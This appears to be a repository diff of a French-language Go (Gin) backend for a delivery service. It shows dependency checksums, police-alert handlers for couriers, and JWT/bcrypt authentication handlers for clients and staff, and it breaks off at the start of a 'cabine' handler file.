github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/twitchyliquid64/golang-asm v0.15.1 h1:SU5vSMR7hnwNxj24w34ZyCi/FmDZTkS4MhqMhdFk5YI=
github.com/twitchyliquid64/golang-asm v0.15.1/go.mod h1:a1lVb/DtPvCB8fslRZhAngC2+aY1QWCk3Cedj/Gdt08=
github.com/ugorji/go/codec v1.3.0 h1:Qd2W2sQawAfG8XSvzwhBeoGq71zXOC/Q1E9y/wUcsUA=
github.com/ugorji/go/codec v1.3.0/go.mod h1:pRBVtBSKl77K30Bv8R2P+cLSGaTtex6fsA2Wjqmfxj4=
go.uber.org/mock v0.5.0 h1:KAMbZvZPyBPWgD14IrIQ38QCyjwpvVVV6K/bHl1IwQU=
go.uber.org/mock v0.5.0/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM=
golang.org/x/arch v0.20.0 h1:dx1zTU0MAE98U+TQ8BLl7XsJbgze2WnNKF/8tGp/Q6c=
golang.org/x/arch v0.20.0/go.mod h1:bdwinDaKcfZUGpH09BB7ZmOfhalA8lQdzl62l8gGWsk=
golang.org/x/crypto v0.40.0 h1:r4x+VvoG5Fm+eJcxMaY8CQM7Lb0l1lsmjGBQ6s8BfKM=
golang.org/x/crypto v0.40.0/go.mod h1:Qr1vMER5WyS2dfPHAlsOj01wgLbsyWtFn/aY+5+ZdxY=
golang.org/x/mod v0.25.0 h1:n7a+ZbQKQA/Ysbyb0/6IbB1H/X41mKgbhfv7AfG/44w=
golang.org/x/mod v0.25.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
golang.org/x/net v0.42.0 h1:jzkYrhi3YQWD6MLBJcsklgQsoAcw89EcZbJw8Z614hs=
golang.org/x/net v0.42.0/go.mod h1:FF1RA5d3u7nAYA4z2TkclSCKh68eSXtiFwcWQpPXdt8=
golang.org/x/sync v0.16.0 h1:ycBJEhp9p4vXvUZNszeOq0kGTPghopOL8q0fq3vstxw=
golang.org/x/sync v0.16.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.35.0 h1:vz1N37gP5bs89s7He8XuIYXpyY0+QlsKmzipCbUtyxI=
golang.org/x/sys v0.35.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/text v0.27.0 h1:4fGWRpyh641NLlecmyl4LOe6yDdfaYNrGb2zdfo4JV4=
golang.org/x/text v0.27.0/go.mod h1:1D28KMCvyooCX9hBiosv5Tz/+YLxj0j7XhWjpSUF7CU=
golang.org/x/tools v0.34.0 h1:qIpSLOxeCYGg9TrcJokLBG4KFA6d795g0xkBkiESGlo=
golang.org/x/tools v0.34.0/go.mod h1:pAP9OwEaY1CAW3HOmg3hLZC5Z0CCmzjAF2UQMSqNARg=
google.golang.org/protobuf v1.36.9 h1:w2gp2mA27hUeUzj9Ex9FBjsBm40zfaDtEWow293U7Iw=
google.golang.org/protobuf v1.36.9/go.mod h1:fuxRtAxBytpl4zzqUh6/eyUujkJdNiuEkXntxiD/uRU=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+211
View File
@@ -0,0 +1,211 @@
package handlers
import (
"gestion/db"
"net/http"
"strconv"
"github.com/gin-gonic/gin"
)
func AlertPolice(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
userRole := c.GetString("role")
if userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
alert, err := database.CreateAlert(usernameStr)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{
"success": true,
"message": "Police alert created",
"alert_id": alert.ID,
"user": alert.Username,
})
}
func DeleteAlert(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
alertIDStr := c.Param("id")
alertID, err := strconv.Atoi(alertIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
return
}
err = database.DeleteAlertPolicy(alertID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{
"success": true,
"message": "Alert deleted",
})
}
func GetAlert(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
alertIDStr := c.Param("id")
alertID, err := strconv.Atoi(alertIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
return
}
alert, err := database.GetAlertPolicy(alertID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(200, gin.H{
"success": true,
"alert": alert,
})
}
// EndAlert permet au livreur de mettre fin à son alerte active
func EndAlert(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
userRole := c.GetString("role")
if userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
alertIDStr := c.Param("id")
alertID, err := strconv.Atoi(alertIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID d'alerte invalide"})
return
}
usernameStr := username.(string)
// Vérifier que l'alerte appartient bien à ce livreur
alert, err := database.GetAlertPolicy(alertID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Alerte non trouvée"})
return
}
if alert.Username != usernameStr {
c.JSON(http.StatusForbidden, gin.H{"error": "Cette alerte ne vous appartient pas"})
return
}
// Mettre fin à l'alerte en changeant le statut à false
err = database.EndAlert(alertID)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de mettre fin à l'alerte", "details": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Alerte terminée avec succès",
"alert_id": alertID,
"user": usernameStr,
})
}
// GetMyAlerts permet au livreur de voir ses alertes
func GetMyAlerts(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
userRole := c.GetString("role")
if userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
alerts, err := database.GetAlertsByUsername(usernameStr)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"alerts": alerts,
"count": len(alerts),
"user": usernameStr,
})
}
func GetAllAlerts(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
return
}
alerts, err := database.GetAllAlerts()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"alerts": alerts,
"count": len(alerts),
})
}
// GetActiveAlerts permet aux admins de voir toutes les alertes actives
func GetActiveAlerts(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" && userRole != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux administrateurs"})
return
}
alerts, err := database.GetActiveAlerts()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer les alertes", "details": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"alerts": alerts,
"count": len(alerts),
})
}
+741
View File
@@ -0,0 +1,741 @@
// ============================================
// handlers/auth_handlers_REFACTORED.go
// ============================================
// Version simplifiée sans les middlewares
// Les middlewares sont maintenant dans middleware/middleware_CORRIGES.go
package handlers
import (
"crypto/rand"
"encoding/hex"
"gestion/db"
"gestion/models"
"log"
"net/http"
"os"
"regexp"
"strconv"
"strings"
"time"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt/v5"
"github.com/google/uuid"
"golang.org/x/crypto/bcrypt"
)
// ============================================
// TYPES JWT CLAIMS (Duplicés dans middleware aussi)
// ============================================
type ClientClaims struct {
ClientID int `json:"client_id"`
Username string `json:"username"`
Role string `json:"role"`
SessionID string `json:"session_id"`
jwt.RegisteredClaims
}
type AdminClaims struct {
UserID int `json:"user_id"`
Username string `json:"username"`
Role string `json:"role"`
SessionID string `json:"session_id"`
jwt.RegisteredClaims
}
// ============================================
// STRUCTURES REQUÊTE / RÉPONSE
// ============================================
type LoginRequest struct {
Username string `json:"username" binding:"required"`
Password string `json:"password" binding:"required"`
}
type RegisterClientRequest struct {
Username string `json:"username" binding:"required,min=3,max=50"`
Password string `json:"password" binding:"required,min=8"`
Nom string `json:"nom" binding:"required,min=2,max=100"`
Prenom string `json:"prenom" binding:"required,min=2,max=100"`
Telephone string `json:"telephone" binding:"required"`
}
type RegisterAdminRequest struct {
Username string `json:"username" binding:"required,min=3,max=50"`
Password string `json:"password" binding:"required,min=8"`
Role string `json:"role" binding:"required,oneof=admin cabine livreur"`
}
type LoginResponse struct {
AccessToken string `json:"access_token"`
TokenType string `json:"token_type"`
ExpiresIn int `json:"expires_in"`
User interface{} `json:"user"`
}
type ProfileResponse struct {
Username string `json:"username"`
Role string `json:"role"`
}
// ============================================
// VARIABLES & CONSTANTS
// ============================================
var (
clientTokenDuration = 5 * time.Hour
adminTokenDuration = 2 * time.Hour
userJWTSecret = []byte(os.Getenv("USER_JWT_SECRET")) // ✅ Pour clients
adminJWTSecret = []byte(os.Getenv("ADMIN_JWT_SECRET")) // ✅ Pour admin/cabine/livreur
)
// ============================================
// UTILITAIRES
// ============================================
func generateSessionID() string {
bytes := make([]byte, 16)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}
// validatePhoneNumber valide le format du numéro de téléphone
func validatePhoneNumber(phone string) bool {
// Supprimer espaces/tirets
clean := regexp.MustCompile(`[\s\-\(\)]`).ReplaceAllString(phone, "")
// Format international ou national
validFormat := regexp.MustCompile(`^(\+33|0)[1-9]\d{8}$`)
return validFormat.MatchString(clean)
}
func normalizePhoneNumber(phone string) string {
clean := regexp.MustCompile(`[\s\-\(\)]`).ReplaceAllString(phone, "")
// Convertir 06... en +336...
if strings.HasPrefix(clean, "0") {
return "+33" + clean[1:]
}
return clean
}
// ============================================
// GENERATION TOKENS
// ============================================
func generateClientToken(client *models.Client) (string, error) {
sessionID := generateSessionID()
claims := ClientClaims{
ClientID: client.ID,
Username: client.Username,
Role: "client",
SessionID: sessionID,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(clientTokenDuration)),
IssuedAt: jwt.NewNumericDate(time.Now()),
NotBefore: jwt.NewNumericDate(time.Now()),
Issuer: "api-client",
Subject: strconv.Itoa(client.ID),
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
tokenString, err := token.SignedString(userJWTSecret) // ✅ UTILISER userJWTSecret (CLIENT)
if err != nil {
return "", err
}
return tokenString, nil
}
func generateAdminToken(user *models.User) (string, error) {
sessionID := generateSessionID()
claims := AdminClaims{
UserID: user.ID,
Username: user.Username,
Role: user.Role, // ← "admin" ou "cabine" ou "livreur"
SessionID: sessionID,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(adminTokenDuration)),
IssuedAt: jwt.NewNumericDate(time.Now()),
NotBefore: jwt.NewNumericDate(time.Now()),
Issuer: "api-admin", // Même issuer pour tous les admins
Subject: strconv.Itoa(user.ID),
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
tokenString, err := token.SignedString(adminJWTSecret) // ✅ UTILISER adminJWTSecret (ADMIN/CABINE/LIVREUR)
if err != nil {
return "", err
}
return tokenString, nil
}
// ============================================
// HANDLERS AUTHENTIFICATION CLIENT
// ============================================
// RegisterClient crée un nouveau compte client
// POST /api/v1/auth/register
func RegisterClient(c *gin.Context) {
var req RegisterClientRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [REGISTER_CLIENT] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
// Validation téléphone
if !validatePhoneNumber(req.Telephone) {
log.Printf("❌ [REGISTER_CLIENT] Téléphone invalide: %s", req.Telephone)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Numéro de téléphone invalide",
})
return
}
normalizedPhone := normalizePhoneNumber(req.Telephone)
database := c.MustGet("database").(*db.Database)
// Vérifier username unique
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
log.Printf("❌ [REGISTER_CLIENT] Username déjà utilisé: %s", req.Username)
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
return
}
// Vérifier téléphone unique
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil {
log.Printf("❌ [REGISTER_CLIENT] Téléphone déjà utilisé: %s", normalizedPhone)
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
return
}
// Hasher le mot de passe
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
if err != nil {
log.Printf("❌ [REGISTER_CLIENT] Erreur bcrypt: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
return
}
// Créer le client
client := &models.Client{
Username: req.Username,
Password: string(hashed),
Nom: strings.TrimSpace(req.Nom),
Prenom: strings.TrimSpace(req.Prenom),
Telephone: normalizedPhone,
CreatedAt: time.Now(),
}
if err := database.CreateClient(client); err != nil {
log.Printf("❌ [REGISTER_CLIENT] Erreur création: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création client"})
return
}
// Générer le token
token, err := generateClientToken(client)
if err != nil {
log.Printf("❌ [REGISTER_CLIENT] Erreur génération token: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
return
}
// Sauvegarder le token
expiresAt := time.Now().Add(clientTokenDuration)
if err := database.SaveToken(client.ID, "client", token, expiresAt); err != nil {
log.Printf("❌ [REGISTER_CLIENT] Erreur SaveToken: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
return
}
// Créer la session Redis
sessionID := uuid.New().String()
if err := database.CreateClientSession(client.ID, client.Username, sessionID); err != nil {
log.Printf("⚠️ [REGISTER_CLIENT] Erreur session Redis: %v", err)
}
client.Password = ""
log.Printf("✅ [REGISTER_CLIENT] Client créé: %s (ID=%d)", client.Username, client.ID)
c.JSON(http.StatusCreated, LoginResponse{
AccessToken: token,
TokenType: "Bearer",
ExpiresIn: int(clientTokenDuration.Seconds()),
User: gin.H{
"id": client.ID,
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"role": "client",
"session_id": sessionID,
},
})
}
// LoginClient authentifie un client
// POST /api/v1/auth/login
func LoginClient(c *gin.Context) {
var req LoginRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [LOGIN_CLIENT] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
database := c.MustGet("database").(*db.Database)
client, err := database.GetClientByUsername(req.Username)
if err != nil {
log.Printf("❌ [LOGIN_CLIENT] Client non trouvé: %s", req.Username)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
return
}
if err := bcrypt.CompareHashAndPassword([]byte(client.Password), []byte(req.Password)); err != nil {
log.Printf("❌ [LOGIN_CLIENT] Mot de passe invalide: %s", req.Username)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
return
}
// ✅ LIGNE 302 CORRIGÉE - Gérer l'erreur !
token, err := generateClientToken(client)
if err != nil {
log.Printf("❌ [LOGIN_CLIENT] Erreur génération token: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
return
}
expiresAt := time.Now().Add(clientTokenDuration)
if err := database.SaveToken(client.ID, "client", token, expiresAt); err != nil {
log.Printf("❌ [LOGIN_CLIENT] Erreur SaveToken: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
return
}
// Créer la session Redis
sessionID := uuid.New().String()
if err := database.CreateClientSession(client.ID, client.Username, sessionID); err != nil {
log.Printf("⚠️ [LOGIN_CLIENT] Erreur session Redis: %v", err)
}
log.Printf("✅ [LOGIN_CLIENT] Client authentifié: %s", req.Username)
c.JSON(http.StatusOK, LoginResponse{
AccessToken: token,
TokenType: "Bearer",
ExpiresIn: int(clientTokenDuration.Seconds()),
User: gin.H{
"id": client.ID,
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"role": "client",
"session_id": sessionID,
},
})
}
// LogoutClient déconnecte un client
// POST /api/v1/auth/logout
func LogoutClient(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// Invalider la session Redis
clientID, hasClientID := c.Get("client_id")
if hasClientID && clientID != nil {
if err := database.InvalidateSession(clientID.(int)); err != nil {
log.Printf("⚠️ [LOGOUT_CLIENT] Erreur invalidation session: %v", err)
}
}
// Révoquer le JWT token
authHeader := c.GetHeader("Authorization")
if authHeader != "" && strings.HasPrefix(authHeader, "Bearer ") {
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database.RevokeToken(tokenStr)
}
log.Printf("✅ [LOGOUT_CLIENT] Client déconnecté")
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
}
// ============================================
// HANDLERS AUTHENTIFICATION ADMIN
// ============================================
// RegisterAdmin crée un nouvel utilisateur admin/cabine/livreur
// POST /api/v1/auth/admin/register
func RegisterAdmin(c *gin.Context) {
var req RegisterAdminRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [REGISTER_ADMIN] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
database := c.MustGet("database").(*db.Database)
// Vérifier que l'user n'existe pas
if existingUser, _ := database.GetUserByUsername(req.Username); existingUser != nil {
log.Printf("❌ [REGISTER_ADMIN] Username déjà utilisé: %s", req.Username)
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
return
}
hashed, _ := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
user := &models.User{
Username: req.Username,
Password: string(hashed),
Role: req.Role,
}
if err := database.CreateUser(user); err != nil {
log.Printf("❌ [REGISTER_ADMIN] Erreur création: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création utilisateur"})
return
}
log.Printf("✅ [REGISTER_ADMIN] User créé: %s (role=%s, ID=%d)", user.Username, user.Role, user.ID)
// Générer le token
token, err := generateAdminToken(user)
if err != nil {
log.Printf("❌ [REGISTER_ADMIN] Erreur génération token: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur génération token"})
return
}
log.Printf("✅ [REGISTER_ADMIN] Token généré: %s...", token[:50])
// ============================================
// ✅ CRITICAL FIX: ENREGISTRER LE TOKEN EN DB
// ============================================
expiresAt := time.Now().Add(adminTokenDuration)
if err := database.SaveToken(user.ID, user.Role, token, expiresAt); err != nil {
log.Printf("❌ [REGISTER_ADMIN] Erreur SaveToken: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
return
}
log.Printf("✅ [REGISTER_ADMIN] Token enregistré en DB pour user ID: %d", user.ID)
user.Password = ""
c.JSON(http.StatusCreated, LoginResponse{
AccessToken: token,
TokenType: "Bearer",
ExpiresIn: int(adminTokenDuration.Seconds()),
User: user,
})
}
// LoginAdmin authentifie un admin/cabine/livreur
// POST /api/v1/auth/admin/login
// ✅ AMÉLIORÉ: Meilleure gestion d'erreurs
func LoginAdmin(c *gin.Context) {
var req LoginRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [LOGIN_ADMIN] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Données invalides"})
return
}
database := c.MustGet("database").(*db.Database)
user, err := database.GetUserByUsername(req.Username)
if err != nil || user == nil {
log.Printf("❌ [LOGIN_ADMIN] User non trouvé: %s", req.Username)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
return
}
// Vérifier que c'est un admin/cabine/livreur
if user.Role != "admin" && user.Role != "cabine" && user.Role != "livreur" {
log.Printf("❌ [LOGIN_ADMIN] Rôle invalide: %s", user.Role)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Accès non autorisé"})
return
}
// Vérifier le mot de passe
if user.Password == "" {
log.Printf("❌ [LOGIN_ADMIN] Mot de passe vide en base")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
return
}
if err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(req.Password)); err != nil {
log.Printf("❌ [LOGIN_ADMIN] Mot de passe invalide: %s", req.Username)
c.JSON(http.StatusUnauthorized, gin.H{"error": "Identifiants invalides"})
return
}
// Générer le token
token, _ := generateAdminToken(user)
expiresAt := time.Now().Add(adminTokenDuration)
if err := database.SaveToken(user.ID, user.Role, token, expiresAt); err != nil {
log.Printf("❌ [LOGIN_ADMIN] Erreur SaveToken: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur enregistrement token"})
return
}
log.Printf("✅ [LOGIN_ADMIN] User authentifié: %s (role=%s)", user.Username, user.Role)
c.JSON(http.StatusOK, LoginResponse{
AccessToken: token,
TokenType: "Bearer",
ExpiresIn: int(adminTokenDuration.Seconds()),
User: gin.H{
"id": user.ID,
"username": user.Username,
"role": user.Role,
},
})
}
// LogoutAdmin déconnecte un admin/cabine/livreur
// POST /api/v1/auth/admin/logout
func LogoutAdmin(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// Révoquer le JWT token
authHeader := c.GetHeader("Authorization")
if authHeader != "" && strings.HasPrefix(authHeader, "Bearer ") {
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
database.RevokeToken(tokenStr)
}
log.Printf("✅ [LOGOUT_ADMIN] User déconnecté")
c.JSON(http.StatusOK, gin.H{"message": "Déconnexion réussie"})
}
// ============================================
// HELPERS
// ============================================
// GetCurrentClient récupère le client actuel
// GET /api/v1/profile/client
func GetCurrentClient(c *gin.Context) {
clientID := c.GetInt("client_id")
database := c.MustGet("database").(*db.Database)
client, err := database.GetClientByID(clientID)
if err != nil {
log.Printf("❌ [GET_CURRENT_CLIENT] Client non trouvé: ID=%d", clientID)
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
return
}
client.Password = ""
log.Printf("✅ [GET_CURRENT_CLIENT] Client récupéré: %s", client.Username)
c.JSON(http.StatusOK, gin.H{
"client": gin.H{
"id": client.ID,
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"command": client.Command,
"point": client.Point,
"amende": client.Amende,
},
})
}
// GetCurrentAdmin récupère l'admin/user actuel
// GET /api/v1/profile/admin
func GetCurrentAdmin(c *gin.Context) {
userID := c.GetInt("user_id")
database := c.MustGet("database").(*db.Database)
user, err := database.GetUserByID(userID)
if err != nil {
log.Printf("❌ [GET_CURRENT_ADMIN] User non trouvé: ID=%d", userID)
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur non trouvé"})
return
}
user.Password = ""
log.Printf("✅ [GET_CURRENT_ADMIN] User récupéré: %s", user.Username)
c.JSON(http.StatusOK, gin.H{
"user": ProfileResponse{
Username: user.Username,
Role: user.Role,
},
})
}
// HealthCheck vérifie la santé de l'API
// GET /api/v1/health
func HealthCheck(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
if err := database.DB.Ping(); err != nil {
log.Printf("⚠️ [HEALTH] Database down: %v", err)
c.JSON(http.StatusServiceUnavailable, gin.H{
"status": "unhealthy",
"database": "disconnected",
"timestamp": time.Now().Unix(),
})
return
}
log.Printf("✅ [HEALTH] API healthy")
c.JSON(http.StatusOK, gin.H{
"status": "healthy",
"database": "connected",
"timestamp": time.Now().Unix(),
"version": "2.0.0",
})
}
// GetAllUsers récupère tous les utilisateurs (Admin only)
func GetAllUsers(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
users, err := database.GetAllUsers()
if err != nil {
log.Printf("❌ [GET_ALL_USERS] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
return
}
var sanitized []gin.H
for _, u := range users {
sanitized = append(sanitized, gin.H{
"id": u.ID,
"username": u.Username,
"role": u.Role,
})
}
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
c.JSON(http.StatusOK, gin.H{
"users": sanitized,
"count": len(sanitized),
})
}
func GetAllDeliveryMen(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
users, err := database.GetAllDeliveryMen()
if err != nil {
log.Printf("❌ [GET_ALL_USERS] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
return
}
var sanitized []gin.H
for _, u := range users {
sanitized = append(sanitized, gin.H{
"id": u.ID,
"username": u.Username,
"role": u.Role,
})
}
log.Printf("✅ [GET_ALL_USERS] %d users récupérés", len(sanitized))
c.JSON(http.StatusOK, gin.H{
"users": sanitized,
"count": len(sanitized),
})
}
// GetAllClients récupère tous les clients
// GET /api/v1/admin/clients
func GetAllClients(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
clients, err := database.GetAllClients()
if err != nil {
log.Printf("❌ [GET_ALL_CLIENTS] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur récupération"})
return
}
var sanitized []gin.H
for _, cl := range clients {
sanitized = append(sanitized, gin.H{
"id": cl.ID,
"username": cl.Username,
"nom": cl.Nom,
"prenom": cl.Prenom,
"telephone": cl.Telephone,
"command": cl.Command,
"point": cl.Point,
"points_zipette": cl.PointZipette,
"amende": cl.Amende,
"cancellations_count": cl.CancellationsCount,
"last_penalty_reason": cl.LastPenaltyReason,
})
}
log.Printf("✅ [GET_ALL_CLIENTS] %d clients récupérés", len(sanitized))
c.JSON(http.StatusOK, gin.H{
"clients": sanitized,
"count": len(sanitized),
})
}
func DeleteUser(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
idStr := c.Param("id")
id, err := strconv.Atoi(idStr)
if err != nil {
log.Printf("❌ [DELETE_USER] ID invalide: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
err = database.DeleteUser(id)
if err != nil {
log.Printf("❌ [DELETE_USER] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
return
}
log.Printf("✅ [DELETE_USER] Utilisateur %d supprimé", id)
c.JSON(http.StatusOK, gin.H{"message": "Utilisateur supprimé"})
}
// DeleteClient
func DeleteClient(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
idStr := c.Param("id")
id, err := strconv.Atoi(idStr)
if err != nil {
log.Printf("❌ [DELETE_CLIENT] ID invalide: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
err = database.DeleteClient(id)
if err != nil {
log.Printf("❌ [DELETE_CLIENT] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur suppression"})
return
}
log.Printf("✅ [DELETE_CLIENT] Client %d supprimé", id)
c.JSON(http.StatusOK, gin.H{"message": "Client supprimé"})
}
+703
View File
@@ -0,0 +1,703 @@
// ============================================
// handlers/cabine_handlers.go - COMPLET
// INCLUT: SetCommandDestinationCoordinates
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"log"
"net/http"
"strconv"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// 0️⃣ FONCTION ADMIN: SET DESTINATION COORDINATES
